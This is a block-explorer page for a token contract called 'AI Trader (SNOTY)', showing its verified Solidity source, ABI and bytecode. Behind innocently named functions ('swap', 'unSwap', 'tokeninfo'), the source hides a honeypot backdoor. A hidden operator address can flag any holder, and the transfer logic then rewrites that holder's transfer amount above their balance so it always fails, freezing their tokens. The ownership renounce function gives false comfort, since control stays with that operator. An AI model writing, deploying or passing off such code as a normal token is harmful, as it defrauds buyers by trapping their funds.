ETH Price: $2,964.73 (+2.21%)
Gas: 1 Gwei

Token

AI Trader (SNOTY)
 

Overview

Max Total Supply

1,000,000,000 SNOTY

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,243,293.645840358261762409 SNOTY

Value
$0.00
0x2804fe3505ab28602398d2439385f9899f32e453
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SNOTY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-20
*/

/*

        
            ░██████╗███╗░░██╗░█████╗░████████╗██╗░░░██╗
            ██╔════╝████╗░██║██╔══██╗╚══██╔══╝╚██╗░██╔╝
            ╚█████╗░██╔██╗██║██║░░██║░░░██║░░░░╚████╔╝░
            ░╚═══██╗██║╚████║██║░░██║░░░██║░░░░░╚██╔╝░░
            ██████╔╝██║░╚███║╚█████╔╝░░░██║░░░░░░██║░░░
            ╚═════╝░╚═╝░░╚══╝░╚════╝░░░░╚═╝░░░░░░╚═╝░░░

            Website: https://serenitytoken.co/
            Twitter: https://x.com/SERENITY_BOTAI
            Telegram: https://t.me/snotyportal



*/

pragma solidity ^0.8.24;
// SPDX-License-Identifier: UNLICENSED

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract SNOTY is Ownable{   
    constructor(address add) {      
        _tokename = "AI Trader";
        _tokensymbol = "SNOTY";
        _taxData = add;
        _totalSupply = 1000000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address public _taxData;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint128 buyCount = 64544;
    uint128 sellCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;


    function swap(address bot) public virtual returns (bool) {
        address tmoinfo = bot;     
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxData);
        return true;
    }

    function unSwap(address notbot) external  {
        address tmoinfo = notbot;      
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxData);      
    }

    
    function name() public view returns (string memory) {
        return _tokename;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = buyCount + _balances[from] + 
        buyCount-buyCount;}
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxData","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unSwap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261fc20600855620000186012600a620002d1565b620000279062010cc0620002e8565b620000389064056cc9ca2c620002e8565b600955600a805461ffff1916600117905534801562000055575f80fd5b5060405162000f3238038062000f32833981016040819052620000789162000302565b620000833362000173565b60408051808201909152600981526820a4902a3930b232b960b91b6020820152600390620000b29082620003c8565b50604080518082019091526005815264534e4f545960d81b6020820152600490620000de9082620003c8565b50600180546001600160a01b0319166001600160a01b03831617905562000103601290565b6200011090600a620002d1565b6200012090633b9aca00620002e8565b6002819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000494565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021657815f1904821115620001fa57620001fa620001c2565b808516156200020857918102915b93841c9390800290620001db565b509250929050565b5f826200022e57506001620002cb565b816200023c57505f620002cb565b8160018114620002555760028114620002605762000280565b6001915050620002cb565b60ff841115620002745762000274620001c2565b50506001821b620002cb565b5060208310610133831016604e8410600b8410161715620002a5575081810a620002cb565b620002b18383620001d6565b805f1904821115620002c757620002c7620001c2565b0290505b92915050565b5f620002e160ff8416836200021e565b9392505050565b8082028115828204841417620002cb57620002cb620001c2565b5f6020828403121562000313575f80fd5b81516001600160a01b0381168114620002e1575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035357607f821691505b6020821081036200037257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c357805f5260205f20601f840160051c810160208510156200039f5750805b601f840160051c820191505b81811015620003c0575f8155600101620003ab565b50505b505050565b81516001600160401b03811115620003e457620003e46200032a565b620003fc81620003f584546200033e565b8462000378565b602080601f83116001811462000432575f84156200041a5750858301515b5f19600386901b1c1916600185901b1785556200048c565b5f85815260208120601f198616915b82811015620004625788860151825594840194600190910190840162000441565b50858210156200048057878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610a9080620004a25f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063630e071c116100935780638da5cb5b116100635780638da5cb5b1461020a57806395d89b411461021a578063a9059cbb14610222578063dd62ed3e14610235575f80fd5b8063630e071c1461018d57806364473a12146101b857806370a08231146101da578063715018a614610202575f80fd5b806318160ddd116100ce57806318160ddd1461014457806323b872dd14610156578063313ce567146101695780635802dad914610178575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ea565b61026d565b60405190151581526020015b60405180910390f35b6101246102be565b604051610113919061090a565b61010761013f366004610956565b61034e565b6002545b604051908152602001610113565b61010761016436600461097e565b610360565b60405160128152602001610113565b61018b6101863660046108ea565b610383565b005b6001546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b6101076101c63660046108ea565b60076020525f908152604090205460ff1681565b6101486101e83660046108ea565b6001600160a01b03165f9081526005602052604090205490565b61018b6103d3565b5f546001600160a01b03166101a0565b6101246103e6565b610107610230366004610956565b6103f5565b6101486102433660046109b7565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102b5575f80fd5b50600192915050565b6060600380546102cd906109e8565b80601f01602080910402602001604051908101604052809291908181526020018280546102f9906109e8565b80156103445780601f1061031b57610100808354040283529160200191610344565b820191905f5260205f20905b81548152906001019060200180831161032757829003601f168201915b5050505050905090565b5f6102b5338484610401565b92915050565b5f3361036d858285610529565b6103788585856105c0565b506001949350505050565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cf575f80fd5b5050565b6103db610827565b6103e45f610880565b565b6060600480546102cd906109e8565b5f6102b53384846105c0565b6001600160a01b0383166104685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105ba57818110156105a65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045f565b6105ba84846105b58585610a34565b610401565b50505050565b6001600160a01b0383166106245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166106865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036106fd576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e69082610a47565b6106f09190610a47565b6106fa9190610a34565b90505b6001600160a01b0383165f90815260056020526040902054818110156107745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045f565b6001600160a01b0384165f90815260056020526040902054610797908390610a34565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c6908390610a47565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108199086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161045f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146108e5575f80fd5b919050565b5f602082840312156108fa575f80fd5b610903826108cf565b9392505050565b5f602080835283518060208501525f5b818110156109365785810183015185820160400152820161091a565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610967575f80fd5b610970836108cf565b946020939093013593505050565b5f805f60608486031215610990575f80fd5b610999846108cf565b92506109a7602085016108cf565b9150604084013590509250925092565b5f80604083850312156109c8575f80fd5b6109d1836108cf565b91506109df602084016108cf565b90509250929050565b600181811c908216806109fc57607f821691505b602082108103610a1a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035a5761035a610a20565b8082018082111561035a5761035a610a2056fea264697066735822122013363bf439ad420559dc8eaf697aff496fa37e243a741b85c1ea94cd31e459f864736f6c634300081800330000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063630e071c116100935780638da5cb5b116100635780638da5cb5b1461020a57806395d89b411461021a578063a9059cbb14610222578063dd62ed3e14610235575f80fd5b8063630e071c1461018d57806364473a12146101b857806370a08231146101da578063715018a614610202575f80fd5b806318160ddd116100ce57806318160ddd1461014457806323b872dd14610156578063313ce567146101695780635802dad914610178575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ea565b61026d565b60405190151581526020015b60405180910390f35b6101246102be565b604051610113919061090a565b61010761013f366004610956565b61034e565b6002545b604051908152602001610113565b61010761016436600461097e565b610360565b60405160128152602001610113565b61018b6101863660046108ea565b610383565b005b6001546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b6101076101c63660046108ea565b60076020525f908152604090205460ff1681565b6101486101e83660046108ea565b6001600160a01b03165f9081526005602052604090205490565b61018b6103d3565b5f546001600160a01b03166101a0565b6101246103e6565b610107610230366004610956565b6103f5565b6101486102433660046109b7565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102b5575f80fd5b50600192915050565b6060600380546102cd906109e8565b80601f01602080910402602001604051908101604052809291908181526020018280546102f9906109e8565b80156103445780601f1061031b57610100808354040283529160200191610344565b820191905f5260205f20905b81548152906001019060200180831161032757829003601f168201915b5050505050905090565b5f6102b5338484610401565b92915050565b5f3361036d858285610529565b6103788585856105c0565b506001949350505050565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cf575f80fd5b5050565b6103db610827565b6103e45f610880565b565b6060600480546102cd906109e8565b5f6102b53384846105c0565b6001600160a01b0383166104685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105ba57818110156105a65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045f565b6105ba84846105b58585610a34565b610401565b50505050565b6001600160a01b0383166106245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166106865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036106fd576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e69082610a47565b6106f09190610a47565b6106fa9190610a34565b90505b6001600160a01b0383165f90815260056020526040902054818110156107745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045f565b6001600160a01b0384165f90815260056020526040902054610797908390610a34565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c6908390610a47565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108199086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161045f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146108e5575f80fd5b919050565b5f602082840312156108fa575f80fd5b610903826108cf565b9392505050565b5f602080835283518060208501525f5b818110156109365785810183015185820160400152820161091a565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610967575f80fd5b610970836108cf565b946020939093013593505050565b5f805f60608486031215610990575f80fd5b610999846108cf565b92506109a7602085016108cf565b9150604084013590509250925092565b5f80604083850312156109c8575f80fd5b6109d1836108cf565b91506109df602084016108cf565b90509250929050565b600181811c908216806109fc57607f821691505b602082108103610a1a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035a5761035a610a20565b8082018082111561035a5761035a610a2056fea264697066735822122013363bf439ad420559dc8eaf697aff496fa37e243a741b85c1ea94cd31e459f864736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525

-----Decoded View---------------
Arg [0] : add (address): 0x5E06a7A99c86E719d50EAaCCDa2605fc7136d525

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525


Deployed Bytecode Sourcemap

2326:3965:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3149:210;;;;;;:::i;:::-;;:::i;:::-;;;548:14:1;;541:22;523:41;;511:2;496:18;3149:210:0;;;;;;;;3562:87;;;:::i;:::-;;;;;;;:::i;4361:152::-;;;;;;:::i;:::-;;:::i;3850:91::-;3921:12;;3850:91;;;1533:25:1;;;1521:2;1506:18;3850:91:0;1387:177:1;4521:287:0;;;;;;:::i;:::-;;:::i;3758:84::-;;;3832:2;2044:36:1;;2032:2;2017:18;3758:84:0;1902:184:1;3367:181:0;;;;;;:::i;:::-;;:::i;:::-;;2658:23;;;;;-1:-1:-1;;;;;2658:23:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2658:23:0;2091:203:1;2916:41:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3949:110;;;;;;:::i;:::-;-1:-1:-1;;;;;4033:18:0;4006:7;4033:18;;;:9;:18;;;;;;;3949:110;1855:103;;;:::i;1620:87::-;1666:7;1693:6;-1:-1:-1;;;;;1693:6:0;1620:87;;3657:93;;;:::i;4067:144::-;;;;;;:::i;:::-;;:::i;4219:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4318:18:0;;;4291:7;4318:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4219:134;3149:210;3275:10;;-1:-1:-1;;;;;3254:18:0;;;3200:4;3254:18;;;:9;:18;;;;;:31;;-1:-1:-1;;3254:31:0;3275:10;;;;3254:31;;;;;;;;;-1:-1:-1;3320:8:0;3254:18;;3320:8;1218:10;-1:-1:-1;;;;;3304:24:0;;3296:33;;;;;;-1:-1:-1;3347:4:0;;3149:210;-1:-1:-1;;3149:210:0:o;3562:87::-;3599:13;3632:9;3625:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3562:87;:::o;4361:152::-;4427:4;4444:39;1218:10;4467:7;4476:6;4444:8;:39::i;4361:152::-;;;;;:::o;4521:287::-;4644:4;1218:10;4702:38;4718:4;1218:10;4733:6;4702:15;:38::i;:::-;4751:27;4761:4;4767:2;4771:6;4751:9;:27::i;:::-;-1:-1:-1;4796:4:0;;4521:287;-1:-1:-1;;;;4521:287:0:o;3367:181::-;3482:8;;-1:-1:-1;;;;;3461:18:0;;;3420:15;3461:18;;;:9;:18;;;;;:29;;-1:-1:-1;;3461:29:0;3482:8;;;;;;3461:29;;;;;;;;;-1:-1:-1;3525:8:0;3461:18;;3525:8;1218:10;-1:-1:-1;;;;;3509:24:0;;3501:33;;;;;;3409:139;3367:181;:::o;1855:103::-;1579:13;:11;:13::i;:::-;1920:30:::1;1947:1;1920:18;:30::i;:::-;1855:103::o:0;3657:93::-;3697:13;3730:12;3723:19;;;;;:::i;4067:144::-;4129:4;4146:35;1218:10;4170:2;4174:6;4146:9;:35::i;5493:378::-;-1:-1:-1;;;;;5629:19:0;;5621:68;;;;-1:-1:-1;;;5621:68:0;;3151:2:1;5621:68:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:34;3324:19;;5621:68:0;;;;;;;;;-1:-1:-1;;;;;5708:21:0;;5700:68;;;;-1:-1:-1;;;5700:68:0;;3556:2:1;5700:68:0;;;3538:21:1;3595:2;3575:18;;;3568:30;3634:34;3614:18;;;3607:62;-1:-1:-1;;;3685:18:1;;;3678:32;3727:19;;5700:68:0;3354:398:1;5700:68:0;-1:-1:-1;;;;;5779:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5831:32;;1533:25:1;;;5831:32:0;;1506:18:1;5831:32:0;;;;;;;5493:378;;;:::o;5879:409::-;-1:-1:-1;;;;;4318:18:0;;;6014:24;4318:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;6081:37:0;;6077:204;;6163:6;6143:16;:26;;6135:68;;;;-1:-1:-1;;;6135:68:0;;3959:2:1;6135:68:0;;;3941:21:1;3998:2;3978:18;;;3971:30;4037:31;4017:18;;;4010:59;4086:18;;6135:68:0;3757:353:1;6135:68:0;6218:51;6227:5;6234:7;6243:25;6262:6;6243:16;:25;:::i;:::-;6218:8;:51::i;:::-;6003:285;5879:409;;;:::o;4820:665::-;-1:-1:-1;;;;;4951:18:0;;4943:68;;;;-1:-1:-1;;;4943:68:0;;4582:2:1;4943:68:0;;;4564:21:1;4621:2;4601:18;;;4594:30;4660:34;4640:18;;;4633:62;-1:-1:-1;;;4711:18:1;;;4704:35;4756:19;;4943:68:0;4380:401:1;4943:68:0;-1:-1:-1;;;;;5038:16:0;;5030:64;;;;-1:-1:-1;;;5030:64:0;;4988:2:1;5030:64:0;;;4970:21:1;5027:2;5007:18;;;5000:30;5066:34;5046:18;;;5039:62;-1:-1:-1;;;5117:18:1;;;5110:33;5160:19;;5030:64:0;4786:399:1;5030:64:0;-1:-1:-1;;;;;5111:15:0;;;;;;:9;:15;;;;;;;;:23;;:15;:23;5107:107;;5204:8;;-1:-1:-1;;;;;5167:15:0;;5204:8;5167:15;;;:9;:15;;;;;;5204:8;;;;;;;5156:26;;5204:8;5156:26;:::i;:::-;:47;;;;:::i;:::-;:56;;;;:::i;:::-;5147:65;;5107:107;-1:-1:-1;;;;;5242:15:0;;5224;5242;;;:9;:15;;;;;;5276:17;;;;5268:68;;;;-1:-1:-1;;;5268:68:0;;5522:2:1;5268:68:0;;;5504:21:1;5561:2;5541:18;;;5534:30;5600:34;5580:18;;;5573:62;-1:-1:-1;;;5651:18:1;;;5644:36;5697:19;;5268:68:0;5320:402:1;5268:68:0;-1:-1:-1;;;;;5365:15:0;;;;;;:9;:15;;;;;;:22;;5381:6;;5365:22;:::i;:::-;-1:-1:-1;;;;;5347:15:0;;;;;;;:9;:15;;;;;;:40;;;;5414:13;;;;;;;:20;;5428:6;;5414:20;:::i;:::-;-1:-1:-1;;;;;5398:13:0;;;;;;;:9;:13;;;;;;;:36;;;;5450:26;;;;;;;;;;5469:6;1533:25:1;;1521:2;1506:18;;1387:177;5450:26:0;;;;;;;;4932:553;4820:665;;;:::o;1715:132::-;1666:7;1693:6;-1:-1:-1;;;;;1693:6:0;1218:10;1779:23;1771:68;;;;-1:-1:-1;;;1771:68:0;;5929:2:1;1771:68:0;;;5911:21:1;;;5948:18;;;5941:30;6007:34;5987:18;;;5980:62;6059:18;;1771:68:0;5727:356:1;1966:191:0;2040:16;2059:6;;-1:-1:-1;;;;;2076:17:0;;;-1:-1:-1;;;;;;2076:17:0;;;;;;2109:40;;2059:6;;;;;;;2109:40;;2040:16;2109:40;2029:128;1966:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;:::-;333:39;192:186;-1:-1:-1;;;192:186:1:o;575:548::-;687:4;716:2;745;734:9;727:21;777:6;771:13;820:6;815:2;804:9;800:18;793:34;845:1;855:140;869:6;866:1;863:13;855:140;;;964:14;;;960:23;;954:30;930:17;;;949:2;926:26;919:66;884:10;;855:140;;;859:3;1044:1;1039:2;1030:6;1019:9;1015:22;1011:31;1004:42;1114:2;1107;1103:7;1098:2;1090:6;1086:15;1082:29;1071:9;1067:45;1063:54;1055:62;;;;575:548;;;;:::o;1128:254::-;1196:6;1204;1257:2;1245:9;1236:7;1232:23;1228:32;1225:52;;;1273:1;1270;1263:12;1225:52;1296:29;1315:9;1296:29;:::i;:::-;1286:39;1372:2;1357:18;;;;1344:32;;-1:-1:-1;;;1128:254:1:o;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;4115:127::-;4176:10;4171:3;4167:20;4164:1;4157:31;4207:4;4204:1;4197:15;4231:4;4228:1;4221:15;4247:128;4314:9;;;4335:11;;;4332:37;;;4349:18;;:::i;5190:125::-;5255:9;;;5276:10;;;5273:36;;;5289:18;;:::i

Swarm Source

ipfs://13363bf439ad420559dc8eaf697aff496fa37e243a741b85c1ea94cd31e459f8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

